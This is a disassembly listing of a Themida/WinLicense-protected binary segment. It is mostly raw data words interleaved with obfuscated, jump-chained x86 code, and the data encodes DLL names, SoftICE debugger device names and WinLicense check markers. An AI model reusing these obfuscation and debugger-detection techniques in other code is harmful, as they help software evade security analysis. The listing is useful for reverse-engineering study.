db 0FFh
; ---------------------------------------------------------------------------
loc_565B81: ; CODE XREF: Themida_:00562E93j
mov ebx, 52706A10h
push edx
mov edx, ebx
jmp loc_55C95D
; ---------------------------------------------------------------------------
dw 0C801h
dd 0E9240C8Bh, 0FFFFDC4Bh, 738CE951h
db 2 dup(0FFh)
word_565B9E dw 34FFh ; DATA XREF: Themida_:005508B0o
dd 2434FF24h, 0C215E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565BAA: ; CODE XREF: Themida_:0055BF57j
mov ecx, edx
mov ebp, ecx
pop ecx
mov edx, [esp]
add esp, 4
and eax, ebp
push dword ptr [esp]
pop ebp
jmp loc_55503E
; ---------------------------------------------------------------------------
dd 29A1E681h, 0C6E966DDh, 50FFFF8Eh, 0FECDE0E9h, 4BEFFh
dd 0F3290000h, 241C875Eh, 241C895Ch, 0FEF187E9h, 240483FFh
dd 24148B04h, 0FF9751E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565BF1: ; CODE XREF: Themida_:00559F21j
xor eax, esi
xor esi, eax
not eax
push edi
jmp loc_562FA1
; ---------------------------------------------------------------------------
loc_565BFD: ; CODE XREF: Themida_:0055D9CFj
push esi
jmp loc_561454
; ---------------------------------------------------------------------------
db 55h
dd 4EC81h, 0C890000h, 15B66824h, 0C1595181h, 0E98103E9h
dd 0A3022B4h, 0FF3AE9E9h, 4118BAFFh, 7B6869A4h, 0E9000079h
dd 0FFFF347Ah, 80E2EB80h, 34E992C3h, 1FFFF44h, 81042444h
dd 0B804246Ch, 0E955166Fh, 0FFFECA52h, 5E08950h, 4, 405h
dd 24048700h, 0FFC92FE9h, 58C589FFh, 52DFDBBBh, 5DEB0186h
dd 0FEAE03E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_565C71: ; CODE XREF: Themida_:00558833j
mov edx, 7E1054E8h
push edi
push esi
push 3F1248B0h
pop esi
shr esi, 2
inc esi
sub esi, 0C41B6D9Ch
mov edi, esi
pop esi
jmp loc_55191C
; ---------------------------------------------------------------------------
dd 6F8EE950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_565C96: ; CODE XREF: Themida_:005580D5j
pop edx
add esp, 4
push ebx
mov ebx, 0DBE0866h
jmp loc_55B194
; ---------------------------------------------------------------------------
db 33h, 1Ch, 24h
dd 33241C31h, 248B241Ch, 241C3324h, 0FF2B04E9h, 242489FFh
dd 4240481h, 8B000000h, 0FA68242Ch, 0E900002Ah, 0FFFF6E4Ch
; ---------------------------------------------------------------------------
loc_565CD0: ; CODE XREF: Themida_:00561923j
pop dword ptr [esp]
pop esp
push dword ptr [esp]
pop eax
push edi
jmp loc_55D407
; ---------------------------------------------------------------------------
loc_565CDE: ; CODE XREF: Themida_:0056510Bj
push eax
mov eax, ecx
jmp loc_563A7E
; ---------------------------------------------------------------------------
loc_565CE6: ; CODE XREF: Themida_:0055FD86j
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_551E16
; ---------------------------------------------------------------------------
dw 248Bh
dd 2564E924h, 0ED81FFFFh, 0E272ABD0h, 525DEE01h, 0FF9ED9E9h
dd 4FF66FFh, 98E99C24h
db 0ACh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_565D17: ; CODE XREF: Themida_:0055A1ADj
pop ebx
sub edx, 41300D7Eh
sub ebp, edx
pop edx
push 6943h
jmp loc_55B0DC
; ---------------------------------------------------------------------------
db 89h
dd 1AB9240Ch, 8104941Dh, 5E5F7DC9h, 0F181411Ch, 7CC87293h
dd 159CA01h, 13EA81CAh, 8B60162Dh, 0C481240Ch, 4, 5C241487h
dd 4EC81h, 4890000h, 5FE95424h, 2DFFFFE9h, 2D5B4CD2h, 2404335Bh
dd 0FFD273E9h, 8E8FFh, 85D50000h, 17A2E588h, 0D781F58Dh
dd 7D36FAC3h, 0D1BF0F5Bh, 66F7C381h, 51600000h, 3B66CE81h
dd 0E85E251Ch, 0Eh, 65F96500h, 0E8EB1968h, 915C0A3Eh, 0BB660266h
dd 615B5BF1h, 1981B8h, 10E800h, 0F3A60000h, 8DB98452h
dd 4E6EE657h, 0C2BC00FAh, 0BFBF9DFBh, 5922EF69h, 0D38B33FFh
dd 0CE85Eh, 907A0000h, 1527E025h, 5638E797h, 830FE331h
dd 3, 5FAEC980h, 3ED9EE81h, 8B66231Dh, 0B8C681F9h, 66324B9Ch
dd 5460D281h, 0DBBAF681h, 7E96B4Dh, 74000000h, 0D68543B3h
dd 0B256F58Bh, 66038F0Ch, 8197CDBAh, 0C83614EBh, 0EE81Dh
dd 40F00000h, 3DA402FAh, 5184AA75h, 17834D35h, 3840Fh
dd 0B70F0000h, 0C3815ACEh, 1DC83610h, 0AEA6F181h, 0E88301A9h
dd 79850F01h, 0E8FFFFFFh, 10h, 0A2EC6545h, 0F427C9D8h
dd 0C87F4F41h, 59DD9A16h, 5536EB5Ah, 33524553h, 6C642E32h
dd 4441006Ch, 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h
dd 6C6C642Eh, 707D700h, 18000200h, 36001000h, 2B002F00h
dd 0B4882A03h, 843E936h, 0C0680000h, 0E9060997h, 0FFFDE68Bh
dd 9982F68h, 0E681E906h, 3368FFFDh, 0E9060999h, 0FFFDE677h
dd 99A7F68h, 0E66DE906h, 0EB68FFFDh, 0E906099Ah, 0FFFDE663h
dd 99C1D68h, 0E659E906h, 8768FFFDh, 0E906099Ch, 0FFFDE64Fh
dd 9A2FC6F7h, 9328C7F3h, 8E23BEECh, 881DB8E7h, 7E13AEE1h
dd 0DD10CBE3h, 0DB08AF44h, 0D406AD42h, 0D505AC41h, 72E0AD42h
dd 9A5B1384h, 39475E43h, 0E0CA6390h, 81C33E14h, 0C26B01F9h
dd 18CD2D90h, 3D47152Dh, 725CF59Ch, 3AD27C6Ah, 0BA8D47A2h
dd 90BC6533h, 0FFC50BF5h, 919BE63Dh, 8D7B1109h, 67C107B3h
dd 0AB54FBCEh, 0A7952B23h, 61B9FE5Bh, 10B94F22h, 2B045E0h
dd 0A18B2659h, 0FFD570A0h, 179B60C5h, 0CAF576A5h, 6C000006h
dd 6E15AA3Bh, 670EA342h, 62099E39h, 5E059A33h, 6A059A2Bh
dd 0D1649752h, 0CD68953Ch, 0C45F9138h, 0BD58882Fh, 0FFED5B28h
dd 439A5B8Eh, 2CF0C2D9h, 19C269FCh, 8233D191h, 0F4CD5293h
dd 0ACB40DBh, 2A34485h, 0E113BC6Ch, 1C069F46h, 9B7DD5D6h
dd 972D0047h, 9429BCEEh, 0A3ABBEDh, 9C23CA6Bh, 0CF03D96Ch
dd 0B3FA61D0h, 65B0384h, 0CCFD0000h, 0D1FDA439h, 0CCFAA136h
dd 0C6F59C31h, 0BCEF962Bh, 0E1F99429h, 0CD62F326h, 0C75CF926h
dd 0BE53EE20h, 0BB50E717h, 219280EEh, 6C439A5Ah, 0FC2C8355h
dd 8B34C269h, 0D6D7C15Ch, 85680FA6h, 0F9DCE22Ch, 0E319AEBBh
dd 4Dh, 69FC2C47h, 887626D4h, 49A3F217h, 0AB3EC762h, 78A448D0h
dd 2521EDD7h, 9047C8A2h, 1E08DE18h, 0A39B6BD8h, 0E87FAF49h
dd 0A028A53h, 0BBB58674h, 0AD8047A2h, 0A93C6E17h, 0A83B6D14h
dd 0B23B6912h, 0A047E885h, 83041D07h, 5C5h, 7BFC2CF9h
dd 750BAC4Bh, 5C039ECCh, 17C0D9C3h, 7E01978Fh, 88D59971h
dd 0C0C8B244h, 44238D10h, 0B1B72816h, 2F0249A3h, 0F3909BC6h
dd 79D1C309h, 491C47A2h, 4ADD0DB4h, 6C64ECB5h, 0E2F0E8D6h
dd 34074194h, 42C3F59Eh, 0BAE97815h, 3EDF781Fh, 39CCFFA8h
dd 80FF992h, 0ED942F61h, 82B13666h, 427046E7h, 78F07A75h
dd 557C849h, 0C8F90000h, 0C5F1982Dh, 0C0EE952Ah, 0BAE99025h
dd 0B0E38A1Fh, 0CDE58015h, 0B146DF12h, 0AB40DD0Ah, 0AA3FD204h
dd 9F34D303h, 57664D2h, 50439A59h, 0FC2C6739h, 7AE497Bh
dd 9826CD6Eh, 0F289FAE8h, 9BCD49A3h, 40C86108h, 5282836Dh
dd 0D0290CB3h, 0F0D09346h, 508049A3h, 17574CB5h, 6F1CC7F7h
dd 45EFE7CEh, 2ED719AFh, 85796302h, 0FFFFFEEFh, 69FC2CE9h
dd 999119C2h, 0D9431503h, 7D0047A2h, 651CFB3Ah, 72F8E52Eh
dd 84340C5Ah, 2CFFF9E3h, 4E46CE97h, 0DBD0CAB8h, 18EB419Bh
dd 0AB37A571h, 4D7B3D95h, 56840BB2h, 988614BBh, 3D95AB27h
dd 2DE69F72h, 9A7D23E3h, 38B4A8Ch, 0A45125BDh, 0B5000001h
dd 199CC33Eh, 2A324E38h, 496C56AAh, 8333C9C1h, 2812ABDAh
dd 0A26638E2h, 8A20F347h, 3D2E4907h, 9C86C55Ch, 0F452D5A3h
dd 468D5411h, 0FD51B05h, 0A19BE6C7h, 78013319h, 6F08AF4Ah
dd 71A027CEh, 0F79831D8h, 0E917C056h, 6E5C644Eh, 67C19094h
dd 0C346DCAFh, 1411F785h, 0FB14FE00h, 3CD2CA52h, 0BA8A024Eh
dd 60F6C961h, 5951C2B0h, 0C99C5DB4h, 0FE2ED7DFh, 0FC28D167h
dd 0C9707761h, 9C28FE99h, 3E1784DCh, 40B8E0Fh, 7CAD0000h
dd 81AD54E9h, 7CAA51E6h, 76A54CE1h, 6C9F46DBh, 91A944D9h
dd 7D12A3D6h, 770CA9D6h, 6E039ED0h, 6B0097C7h, 0D142309Eh
dd 1C439A58h, 820A3305h, 5D06F48Ah, 18479C7Ch, 0F78D2857h
dd 9A5B9809h, 6F10E343h, 75FE30D9h, 790EAF42h, 5E05A0D2h
dd 0F022A7D7h, 5B017260h, 794C439Ah, 4F6137D8h, 7BFA62D2h
dd 39FCB4Ch, 10410000h, 0D39E075h, 836DD72h, 231D86Dh
dd 0F82BD267h, 152DC85Dh, 0F98E275Ah, 0F3882552h, 0F2871A4Ch
dd 0E77C1B4Bh, 4DBEAC1Ah, 98439A58h, 0A225AF81h, 7E180830h
dd 0CBCCB68Bh, 8871349Bh, 87F08FBBh, 0AA4B6303h, 0D7C57503h
dd 49A3D866h, 23BEF0B1h, 5842E37Ch, 0E9902757h, 7063AD06h
dd 49A3D6ADh, 0DC72644Bh, 386C19AEh, 0D0FFFFFDh, 0C269FC2Ch
dd 3999119h, 44B5A353h, 8F49A3F2h, 6405A0CEh, 37A347Ah
dd 570747A3h, 3EE580AEh, 0D260D1A5h, 0D8AB439Ch, 3E2CF4EEh
dd 439CD2CDh, 0FA44518h, 52C3B161h, 9D439CD2h, 3E14E0CAh
dd 5F3A3BEh, 49A3F294h, 4D7D0CDFh, 25ADD0BAh, 0FFA9972Dh
dd 0BA47A2F8h, 0B2CE51E7h, 50121607h, 0F1B14FEh, 0EBABEFBCh
dd 942A22AAh, 321CBBEBh, 4A623C2Ah, 0C66F9984h, 0BD56FD98h
dd 7006D9D3h, 55FC9BC7h, 4A68D9C7h, 0E0B3957Eh, 933C553Fh
dd 0CD7D130Bh, 0B85FF224h, 0A3EF351Fh, 6A937D41h, 0A1510197h
dd 771142B3h, 0D0BA8D8Fh, 73089FCFh, 53EE1CC5h, 9D386869h
dd 47A44BC7h, 0FF80AF46h, 26Dh, 0B247DE0Fh, 0AB40DF0Bh
dd 0A63BD604h, 0A035D0FFh, 962BC6F9h, 0F528E3FBh, 0F320C75Ch
dd 0EC1EC55Ah, 0ED1DC459h, 8AF8C55Ah, 9A562B9Ch, 8D5F7643h
dd 0B44D7C25h, 391FA7CAh, 2CC56C07h, 6807F58Bh, 0F479C7Ch
dd 0CBFDA63Ch, 5E8D1A4Ah, 0E2831CC3h, 6C01A23Bh, 0E61293C5h
dd 78FFA647h, 0B1D7AD48h, 9FA62D2h, 20359DAh, 74A50000h
dd 79A54CE1h, 74A249DEh, 6E9D44D9h, 64973ED3h, 89A13CD1h
dd 750A9BCEh, 6F04A1CEh, 66FB96C8h, 63F88FBFh, 0C93A2896h
dd 14439A56h, 0A2252BFDh, 574D9D09h, 0AA5D18Ah, 0D45C7F69h
dd 0B95846DCh, 60479B80h, 1E4EF78Dh, 9444F287h, 996035A6h
dd 0C3AD8043h, 8F2519A0h, 99603AA1h, 83B07143h, 9AA43EAh
dd 0DA8DB62h, 0A3DCE66h, 838E177h, 432DC66Dh, 0F8EC733Ch
dd 792FB262h, 0DE55DD1Ch, 9C78E9BDh, 8EBC4399h, 2BB34CF3h
dd 0B6666E58h, 2858E10Dh, 0AC4DE68Dh, 3C826C05h, 43999CD3h
dd 0D943B0Eh, 0F66755DDh, 4143999Bh, 8737CD6Eh, 999C2899h
dd 11A07343h, 8A148E3h, 0DC6D051Eh, 0DD8419ACh, 0FE731AADh
dd 0FD4BD647h, 0EF842353h, 0E77D1848h, 0E8F46864h, 846EF526h
dd 20B1E46Bh, 16B1E18Ah
dd 0D3ECD66Fh, 0E613BC22h, 34025D47h, 902D5A03h, 0E275A5A6h
dd 0E273A64Dh, 0C7F39C4Ch, 86E35428h, 5B2E4399h, 62E35871h
dd 38E630BBh, 18897705h, 63439986h, 0AC5AEF90h, 0A938D703h
dd 0F0F1DB76h, 0F67D24BDh, 0F29B31C4h, 12755BC2h, 0CD82A5F1h
dd 0BE29422Ch, 4A7DAB75h, 4A7821B7h, 10BEC5AFh, 0B19B3A67h
dd 3EE580B0h, 8C114372h, 48D61FFBh, 944FAEDEh, 998B3AC3h
dd 2D684FBh, 0A94A8416h, 0D4C27208h, 8B24F563h, 0EAF1DBAEh
dd 0CD741343h, 0DB821346h, 85BA8417h, 0F576E7D5h, 0EEC18B24h
dd 34D30304h, 2DC8F89Fh, 5D55DD86h, 0D367D9C7h, 0DFB28923h
dd 1F9814Ah, 5CAE7D6Bh, 0A2758316h, 0E94474FBh, 34D3CB73h
dd 34C96A27h, 34CA5D8Dh, 0C3E863B1h, 957F144Fh, 8DCAB07Ch
dd 2EC1AEB9h, 6F0636E0h, 6FFD30D9h, 576D1081h, 0E7885B4Eh
dd 1F4FF6FDh, 2B5AE188h, 3780EB92h, 0F3B538E9h, 299A53A6h
dd 81DB9B04h, 5978F58Bh, 0A73E6E6Fh, 9C3B6B12h, 374F5h
dd 5EEA0000h, 6AFB2C7Ch, 790C3CC3h, 7E194BD2h, 8A2350D7h
dd 98295CE3h, 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah
dd 89506711h, 405E0h, 42D0000h, 87000000h, 895C2404h, 0BE682414h
dd 8900004Dh, 9568242Ch, 89000041h, 0BB53243Ch, 5E5831h
dd 0EB81434Bh, 601D02EEh, 0C381D3F7h, 0A64AEC79h, 815B5D53h
dd 4ECh, 24248900h, 4240481h, 5F000000h, 584D68h, 24048900h
dd 8B8h, 89F80100h, 34FF5828h, 0C4835F24h, 242C8B04h, 81E38953h
dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFDDE53h, 9EAFB8DFh
dd 0C5030609h, 0C424E0FFh, 2273FBFh, 0E7A96CC4h, 44D0599Eh
dd 2C8528BFh, 0ED4511CFh, 0F71F368Ch, 33051128h, 71591F1Dh
dd 238728B4h, 0F617C27h, 0B00C3160h, 0EC3162DBh, 75595FE0h
dd 0AF0B3AD8h, 3B41114Ch, 0E8B43B7Fh, 5D01B87h, 0CF663DAEh
dd 78D32EF1h, 33E12398h, 0CEF23EF9h, 0F33C0933h, 88E55942h
dd 0E62E4768h, 383B7D40h, 72E96BCFh, 60000000h, 19E9BD83h
dd 0F000607h, 584h, 5DE900h, 6A0000h, 0F303E80h, 885h
dd 46006A00h, 35E9h, 333E8000h, 8850Fh, 106A0000h, 24E946h
dd 3E800000h, 8850F34h, 6A000000h, 13E94630h, 80000000h
dd 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah, 6071431h, 24048950h
dd 6A965096h, 8195FF00h, 61060705h, 0CD85C6C3h, 4D060709h
dd 4E8h, 3576A800h, 448B50A4h, 8B0424h, 4244489h, 85B5FF58h
dd 8D060710h, 7396385h, 89D0FF06h, 7058185h, 5C1EEB06h
dd 535C2E5Ch, 454349h, 5C2E5C5Ch, 56574953h, 5C004449h
dd 4E5C2E5Ch, 45434954h, 6AC08B00h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0B553C357h
dd 0E771AC9h, 3299BD8Bh, 0BD830607h, 6071ACDh, 83097500h
dd 71135BDh, 19740006h, 0C08B5350h, 40FB8h, 7D858900h
dd 8D06071Fh, 9ADC09Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h
dd 40FB8h, 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 0F5950158h
dd 0F060711h, 68Bh, 25958B00h, 80060714h, 0C08B86C6h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 1CC35343h, 9999BA9Ch
dd 0EE87BE7h, 5000000h, 0A0B182B3h, 0BE5334CBh, 4BE0D912h
dd 0C65AFCA7h, 709CD85h, 850F4306h, 1Ah, 13E952h, 9E830000h
dd 476ADED6h, 8EB0D893h, 79A4CE83h, 0A7ED9255h, 49685F09h
dd 60A66CE0h, 2830Fh, 0F98B0000h, 14E8h, 80CE4700h, 0A4742D13h
dd 0D1F4377Fh, 30BD0F77h, 6FA4A4CBh, 0F28B666Dh, 481615Fh
dd 218EB324h, 53006A16h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 0DE86094h, 1B000000h, 268C4EE8h
dd 1DC3CC88h, 0AACFC89Eh, 0B44CBF66h, 8D0F615Bh, 6, 5D58D8Bh
dd 0B5FF0607h, 607059Dh, 858D2CB2h, 6073963h, 6810Fh, 8D890000h
dd 60720CDh, 0E850D0FFh, 9, 9EFC431Ch, 0C999119h, 0BE8C9h
dd 13040000h, 0CAFFEA51h, 4A66C989h, 870BBA0Ch, 5F595F29h
dd 0E9240489h, 14h, 5CF6ABC6h, 9939BBDDh, 3B06E5E4h, 0FE770A5Bh
dd 86C1DA45h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 3A64E2C3h, 8EAD088h, 184A3D1h, 710E59Dh
dd 0E1816606h, 4E819EAh, 80000000h, 50000000h, 5E8h, 721D8F00h
dd 8B5F3C91h, 50042444h, 0F595652h, 0BCE6BA31h, 585A7940h
dd 870F008Bh, 0
dd 4244489h, 93F4E3BEh, 0E0BA5832h, 606868FCh, 7E8h, 6ED72700h
dd 7B7E93ADh, 8E8h, 3686E800h, 117C2D4Bh, 0E85E5854h, 0Ah
dd 778B887Bh, 0A4B60819h, 61581361h, 8D89036Ah, 6072C89h
dd 0B52006Ah, 7085DBDh, 36A5906h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 0D8C35343h, 51C3E0A1h, 141CDE81h
dd 2E684DE6h, 66509F5Ch, 812538BEh, 0A3D22404h, 5E96F60h
dd 80000000h, 0A50460F5h, 0A04C9D8Dh, 8E80609h, 0D2000000h
dd 0D5F975E2h, 5A83FA23h, 0F93D1B2h, 238Bh, 0AE800h, 0F2EC0000h
dd 9537D659h, 254A6968h, 0DE8h, 5EFD2200h, 0D5EB24B1h
dd 761FE0EDh, 5A5ACACAh, 50605250h, 5A310F52h, 13E958h
dd 0EEAB0000h, 19ED44EFh, 572F3DC6h, 260F9A18h, 7538DCD9h
dd 93596147h, 6860Fh, 0B5030000h, 6071911h, 6AD0FFh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0CEA78CC3h, 40FD0EA0h, 2AC850Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 748509C3h
dd 1DC18D89h, 0BD8B0607h, 6072605h, 0D3B70F58h, 895A5150h
dd 958B2404h, 60704F5h, 8B66006Ah, 4E8D1h, 800000h, 0F500000h
dd 48Bh, 0ABBA6600h, 24448BA9h, 6E904h, 0B1BA0000h, 17AE88C8h
dd 0D08B008Bh, 4244489h, 50505250h, 5A310F52h, 310F5A58h
dd 8B58585Ah, 89036ACFh, 7078D8Dh, 6A006A06h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 361AC357h, 5F6C5A77h, 6A552D1Ah, 91B58B03h, 6806072Ah
dd 6B5B3002h, 481CE8Bh, 0A4CFFE24h, 0DFB96654h, 0CA816612h
dd 9D8D1845h, 609A055h, 68B0Fh, 0BD8B0000h, 6071A11h, 0ADDCBE50h
dd 1C895367h, 66D0FF24h, 2AE9E781h, 0BB850F40h, 6A000001h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0E811C356h, 13h, 0D7B8ECDBh, 47783D39h, 0E19FEA71h
dd 0F8092D86h, 8B47CAA5h, 89585FF0h, 712E9B5h, 0CBE5006h
dd 89623519h, 6A2404h, 4E8h, 8000h, 52505000h, 13880Fh
dd 0DE80000h, 0E4000000h, 0A86946BAh, 0B29A3A4h, 0C93DD0F1h
dd 50310F5Fh, 60310F52h, 5A585A61h, 24448B58h, 8BC88B04h
dd 8E800h, 6760000h, 2E281F6h, 5A50FC7Ch, 2444895Eh, 58CA8B04h
dd 549BD8Bh, 36A0607h, 0DE8h, 0C64D7600h, 0D92A41A9h, 2BF620C8h
dd 5EF9B070h, 12E9h, 0ABD14000h, 6AA2567Bh, 26198D93h
dd 0E1FFA733h, 6A409266h, 66606000h, 0E671D381h, 0F58D2961h
dd 61060701h, 0B58B036Ah, 607139Dh, 4E8h, 0
dd 890F60C0h, 5, 7ECD2FBBh, 6E861h, 197E0000h, 5004EDB1h
dd 0C23FB966h, 0E850615Fh, 0Ah, 0E91BF726h, 90E7BF25h
dd 12E9F708h, 7D000000h, 0C2EE143Dh, 38E39645h, 0E1405D22h
dd 11126661h, 448B5E92h, 0D7BF0424h, 8B29FD79h, 0F28B6600h
dd 4244489h, 0D64B7B9h, 0FE95847h, 0E7000000h, 0DF445105h
dd 0C7E93D30h, 0E7F65D6h, 9D8D2322h, 609A060h, 50C88B66h
dd 0C0BB6660h, 5E9CEh, 7F700000h, 61837D63h, 66241C89h
dd 0FF44ADB9h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 405EC1C2h, 14850Fh, 18B50000h
dd 0B5952958h, 0E9060705h, 154h, 181D8D89h, 0D88B0607h
dd 0FE8h, 35747C00h, 0DB1B7972h, 18800D1Bh, 0FDA8A84Dh
dd 0CF8B4B5Ah, 20C98158h, 0C641B72Fh, 709CD85h, 0E8FC4306h
dd 4, 0C0764AA7h, 0D78B6660h, 5E8h, 35A35000h, 8B66ACD7h
dd 506159CAh, 11E960h, 0E3230000h, 576EE177h, 8328F0D1h
dd 5B689740h, 0BAC7B721h, 1A92AF43h, 24448B61h, 0BB526004h
dd 3B19230h, 14E95Eh, 44750000h, 3D2493B3h, 93487BF5h
dd 795246Bh, 6BA4707Fh, 8B61E507h, 24448900h, 5897B604h
dd 1CFB65BAh, 9DB5FF26h, 66060705h, 3E64F681h, 3963858Dh
dd 0B5230607h, 607048Dh, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 69AF18C3h, 0EFBF6693h
dd 0E86050F9h, 10h, 0BA107242h, 6CEDA99Ah, 54CCCB98h, 0A1049C96h
dd 0CE9h, 8EB3B100h, 0EB05E13Ch, 0D3131E94h, 6E85A3Ch
dd 0B4000000h, 64359E40h, 5A5F5307h, 5E569361h, 6AD0FFF8h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 9050C351h, 0ACEB7D3Bh, 6FE49D8Dh, 0CB8B0607h
dd 1B8h, 10D68100h, 0FF0EA365h, 0E19529E3h, 0F8060728h
dd 820FC18Bh, 6, 0A99D29h, 0C08B0607h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0B4C35242h, 0A255890Eh, 0F7A4EC67h
dd 59BD8B39h, 8306071Fh, 71ACDBDh, 9750006h, 1135BD83h
dd 74000607h, 8B535019h, 40FB8C0h, 85890000h, 6072F81h
dd 0AE279D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h
dd 40FB853h, 85890000h, 6072F81h, 0AAC89D8Dh, 0D3FF0609h
dd 8B66585Bh, 0BE9FBh, 249C0000h, 0A84B5B4h, 0E810B0DAh
dd 0E9C08BEDh, 0AAh, 74666F53h, 65726177h, 6E69575Ch, 6563694Ch
dd 65736Eh, 63656843h, 4E496Bh, 6F727058h, 69784574h, 68430074h
dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h
dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h
dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh
dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h
dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h
dd 54554F74h, 49705400h, 4Eh, 2 dup(0)
dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h, 9A8E385h
dd 0DF858D06h, 500609A8h, 0A849858Dh, 68500609h, 80000001h
dd 0A8EF95FFh, 196A0609h, 0A8E3B5FFh, 16A0609h, 858D006Ah
dd 609A878h, 0DFB5FF50h, 0FF0609A8h, 708CD95h, 0DFB5FF06h
dd 0FF0609A8h, 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h
dd 8589C306h, 609A8E3h, 0A8DF858Dh, 8D500609h, 9A84985h
dd 1685006h, 0FF800000h, 9A8EF95h, 8D046A06h, 9A8E385h
dd 46A5006h, 858D006Ah, 609A8A2h, 0DFB5FF50h, 0FF0609A8h
dd 708CD95h, 0DFB5FF06h, 0FF0609A8h, 9A8EB95h, 0DFB5FF06h
dd 0FF0609A8h, 70C6995h, 8589C306h, 609A8E3h, 0A8DF858Dh
dd 8D500609h, 9A84985h, 1685006h, 0FF800000h, 9A8EF95h
dd 8D046A06h, 9A8E385h, 46A5006h, 858D006Ah, 609A88Ah
dd 0DFB5FF50h, 0FF0609A8h, 708CD95h, 0DFB5FF06h, 0FF0609A8h
dd 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h, 8589C306h
dd 609A8E3h, 0A8DF858Dh, 8D500609h, 9A84985h, 1685006h
dd 0FF800000h, 9A8EF95h, 8D046A06h, 9A8E385h, 46A5006h
dd 858D006Ah, 609A8B5h, 0DFB5FF50h, 0FF0609A8h, 708CD95h
dd 0DFB5FF06h, 0FF0609A8h, 9A8EB95h, 0DFB5FF06h, 0FF0609A8h
dd 70C6995h, 8589C306h, 609A8E3h, 0A8DF858Dh, 8D500609h
dd 9A84985h, 1685006h, 0FF800000h, 9A8EF95h, 8D046A06h
dd 9A8E385h, 46A5006h, 858D006Ah, 609A865h, 0DFB5FF50h
dd 0FF0609A8h, 708CD95h, 0DFB5FF06h, 0FF0609A8h, 9A8EB95h
dd 0DFB5FF06h, 0FF0609A8h, 70C6995h, 0BD83C306h, 6070455h
dd 0B840F00h, 8B000000h, 704559Dh, 4CC38306h, 83C30389h
dd 70455BDh, 840F0006h, 0Bh, 4559D8Bh, 0C3830607h, 0C3038950h
dd 455BD83h, 0F000607h, 0B84h, 559D8B00h, 83060704h, 38954C3h
dd 55BD83C3h, 60704h, 0B840Fh, 9D8B0000h, 6070455h, 8958C383h
dd 0BD83C303h, 6070455h, 0B840F00h, 8B000000h, 704559Dh
dd 5CC38306h, 0C3C30389h, 0E3858960h, 8D0609A8h, 9A8DF85h
dd 858D5006h, 609A849h, 16850h, 95FF8000h, 609A8EFh, 858D046Ah
dd 609A8E3h, 6A046A50h, 0DA858D00h, 500609A8h, 0A8DFB5FFh
dd 95FF0609h, 60708CDh, 1ACDBD83h, 0F000607h, 0C84h, 0DFB5FF00h
dd 0FF0609A8h, 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h
dd 60C36106h, 0A8E38589h, 858D0609h, 609A8DFh, 49858D50h
dd 500609A8h, 168h, 0EF95FF80h, 6A0609A8h, 0E3858D04h
dd 500609A8h, 6A046Ah, 0A8BC858Dh, 0FF500609h, 9A8DFB5h
dd 0CD95FF06h, 83060708h, 71ACDBDh, 840F0006h, 0Ch, 0A8DFB5FFh
dd 95FF0609h, 609A8EBh, 0A8DFB5FFh, 95FF0609h, 6070C69h
dd 8960C361h, 9A8E385h, 0DF858D06h, 500609A8h, 0A849858Dh
dd 68500609h, 80000001h, 0A8EF95FFh, 46A0609h, 0A8E3858Dh
dd 6A500609h, 8D006A04h, 9A8C385h, 0B5FF5006h, 609A8DFh
dd 8CD95FFh, 0BD830607h, 6071ACDh, 0C840F00h, 0FF000000h
dd 9A8DFB5h, 0EB95FF06h, 0FF0609A8h, 9A8DFB5h, 6995FF06h
dd 6106070Ch, 858960C3h, 609A8E3h, 0A8DF858Dh, 8D500609h
dd 9A84985h, 1685006h, 0FF800000h, 9A8EF95h, 8D046A06h
dd 9A8E385h, 46A5006h, 858D006Ah, 609A8CBh, 0DFB5FF50h
dd 0FF0609A8h, 708CD95h, 0CDBD8306h, 6071Ah, 0C840Fh, 0B5FF0000h
dd 609A8DFh, 0A8EB95FFh, 0B5FF0609h, 609A8DFh, 0C6995FFh
dd 0C3610607h, 0E3858960h, 8D0609A8h, 9A8DF85h, 858D5006h
dd 609A849h, 16850h, 95FF8000h, 609A8EFh, 858D046Ah, 609A8E3h
dd 6A046A50h, 0D2858D00h, 500609A8h, 0A8DFB5FFh, 95FF0609h
